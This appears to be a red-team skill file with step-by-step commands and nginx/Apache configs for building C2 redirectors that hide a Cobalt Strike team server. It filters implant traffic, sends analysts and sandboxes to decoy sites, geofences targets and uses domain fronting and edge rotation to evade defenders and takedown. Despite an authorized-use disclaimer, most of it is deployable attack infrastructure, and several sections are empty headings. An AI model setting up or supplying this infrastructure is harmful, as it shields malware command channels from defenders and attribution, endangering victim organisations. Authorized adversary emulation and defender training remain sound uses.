| name | building-c2-redirector-infrastructure |
| description | Architect redirectors with nginx and Apache, malleable profiles, and OPSEC for resilient C2. |
| domain | cybersecurity |
| subdomain | red-teaming |
| tags | ["red-team","c2-infrastructure","redirector","nginx","apache-mod-rewrite","malleable-c2","opsec","traffic-filtering"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | ["DE.CM-01"] |
| mitre_attack | ["T1090.002"] |
Building C2 Redirector Infrastructure
Authorized Use Only: This skill is for authorized red-team engagements, adversary-emulation exercises, and defensive research only. Command-and-control infrastructure is dual-use; deploying redirectors to control malware on systems you are not explicitly authorized to test is illegal. Operate only inside an agreed scope with a signed rules-of-engagement document, and decommission infrastructure when the engagement ends.
Overview
A C2 redirector is an intermediary host that sits between victim implants and the real team server. Beacons connect to the redirector's public domain/IP; the redirector inspects each request and either proxies legitimate C2 traffic back to the hidden team server or diverts everything else (scanners, blue-team analysts, sandboxes) to a benign decoy site. This protects the team server from discovery, takedown, and attribution, and lets operators rotate the public edge without rebuilding the backend. The technique maps to MITRE ATT&CK T1090.002 (Proxy: External Proxy) — adversaries route C2 through an intermediary node to obscure the true origin.
Redirectors come in two flavors. Dumb pipes (socat, iptables NAT) blindly forward a port and provide separation but no filtering. Smart/filtering redirectors (nginx proxy_pass, Apache mod_rewrite with [P], or purpose-built tools like RedWarden) parse HTTP requests and only forward traffic that matches the implant's Malleable C2 profile — correct URI, User-Agent, headers — while sending everything else a 302 to a real website. The filtering logic is derived directly from the C2 framework's traffic profile, so the two must stay in lock-step. Tools such as cs2modrewrite automate generating Apache/nginx rules from a Cobalt Strike Malleable C2 profile.
This skill covers building both dumb and filtering redirectors with nginx and Apache, deriving filter rules from a malleable profile, layering TLS with Let's Encrypt, and applying OPSEC controls (categorized domains, domain fronting/CDN fronting, header validation, geo/UA filtering) for resilient, low-attribution infrastructure.
When to Use
- Standing up red-team C2 that must survive blue-team triage and domain takedown requests.
- Separating a hidden team server from any internet-facing host during an engagement.
- Filtering implant traffic so only profile-matching requests reach the backend, diverting scanners.
- Adding TLS termination, domain categorization, and CDN/domain fronting to an HTTP(S) listener.
- Teaching defenders how external-proxy C2 (T1090.002) is constructed so they can detect it.
Prerequisites
Objectives
- Deploy a dumb-pipe redirector (socat/iptables) for fast port separation.
- Deploy a filtering nginx reverse-proxy redirector keyed to a malleable profile.
- Deploy an Apache
mod_rewrite redirector with [P] proxying and 302 decoy fallback.
- Auto-generate redirector rules from a Cobalt Strike profile with
cs2modrewrite.
- Terminate TLS with Let's Encrypt and harden the public edge.
- Apply OPSEC: header/UA validation, geo filtering, decoy diversion, and infra rotation.
MITRE ATT&CK Mapping
| Technique ID | Official Name | Relevance |
|---|
| T1090.002 | Proxy: External Proxy | The redirector is an external intermediary that proxies C2 to hide the team server |
| T1090.004 | Proxy: Domain Fronting | CDN fronting routes beacon traffic through a trusted high-reputation domain |
| T1071.001 | Application Layer Protocol: Web Protocols | C2 is tunneled over HTTP/HTTPS shaped by the malleable profile |
| T1573.002 | Encrypted Channel: Asymmetric Cryptography | TLS termination at the redirector encrypts the beacon channel |
| T1583.006 | Acquire Infrastructure: Web Services | Disposable VPS/CDN edges are acquired for resilient C2 |
Workflow
1. Lab and firewall the team server
Place the team server on a private host. Restrict its C2 port to the redirector's IP only.
sudo ufw default deny incoming
sudo ufw allow from 203.0.113.10 to any port 443 proto tcp
sudo ufw allow OpenSSH
sudo ufw enable
2. Dumb-pipe redirector (socat / iptables)
For quick separation with no filtering, forward the C2 port to the team server.
socat TCP4-LISTEN:443,fork,reuseaddr TCP4:10.0.0.2:443
sysctl -w net.ipv4.ip_forward=1
iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 10.0.0.2:443
iptables -t nat -A POSTROUTING -p tcp -d 10.0.0.2 --dport 443 -j MASQUERADE
3. Filtering nginx reverse-proxy redirector
Only proxy requests whose URI matches the malleable profile; send everything else a 302 to a decoy. Replace the location regex and User-Agent with values from your profile.
# /etc/nginx/sites-available/redirector.conf
server {
listen 443 ssl;
server_name cdn.example.com;
ssl_certificate /etc/letsencrypt/live/cdn.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/cdn.example.com/privkey.pem;
# Proxy ONLY profile-matching C2 URIs to the hidden team server
location ~ ^/(api/v2/jobs|cm/[a-z0-9]+|push) {
# Require the implant's exact User-Agent
if ($http_user_agent != "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36") {
return 302 https://www.legitimate-decoy.com/;
}
proxy_pass https://10.0.0.2;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $remote_addr;
}
# Everything else -> benign decoy
location / {
return 302 https://www.legitimate-decoy.com/;
}
}
sudo ln -s /etc/nginx/sites-available/redirector.conf /etc/nginx/sites-enabled/
sudo nginx -t && sudo systemctl reload nginx
4. Apache mod_rewrite redirector
Apache's [P] flag proxies matching requests to the team server; non-matches get a 302 redirect. This is the format cs2modrewrite produces.
# /etc/apache2/sites-available/redirector.conf (inside <VirtualHost *:443>)
RewriteEngine On
SSLProxyEngine On
# Require the implant User-Agent
RewriteCond %{HTTP_USER_AGENT} "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" [NC]
# Match valid C2 URIs (GET/POST/stager) from the malleable profile
RewriteCond %{REQUEST_URI} ^/(api/v2/jobs|cm/[a-z0-9]+|push)/?$
# Proxy to the hidden team server, preserving the URI
RewriteRule ^.*$ https://10.0.0.2%{REQUEST_URI} [P,L]
# Everything else -> decoy site
RewriteRule ^.*$ https://www.legitimate-decoy.com/ [R=302,L]
sudo a2ensite redirector && sudo apache2ctl configtest && sudo systemctl reload apache2
5. Generate rules from a malleable profile
Let cs2modrewrite build the Apache or nginx rules directly from your Cobalt Strike profile so the filter exactly matches beacon traffic.
cd cs2modrewrite
python3 cs2modrewrite.py -i havex.profile -c https://10.0.0.2 \
-r https://www.legitimate-decoy.com -o /etc/apache2/redirect.rules
python3 cs2nginx.py -i havex.profile -c https://10.0.0.2 \
-r https://www.legitimate-decoy.com -H cdn.example.com > /etc/nginx/sites-available/c2.conf
6. Terminate TLS with Let's Encrypt
Issue a valid certificate so beacon HTTPS does not throw TLS warnings and the edge looks legitimate.
sudo certbot --nginx -d cdn.example.com --agree-tos -m ops@example.com --redirect
sudo certbot renew --dry-run
7. Apply OPSEC controls
Layer defenses against blue-team analysis: validate headers, geofence to the target country, divert sandboxes, and rotate edges. Consider CDN/domain fronting (T1090.004) where supported.
curl -k https://cdn.example.com/
curl -k -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" \
https://cdn.example.com/api/v2/jobs
Tools and Resources
Validation Criteria
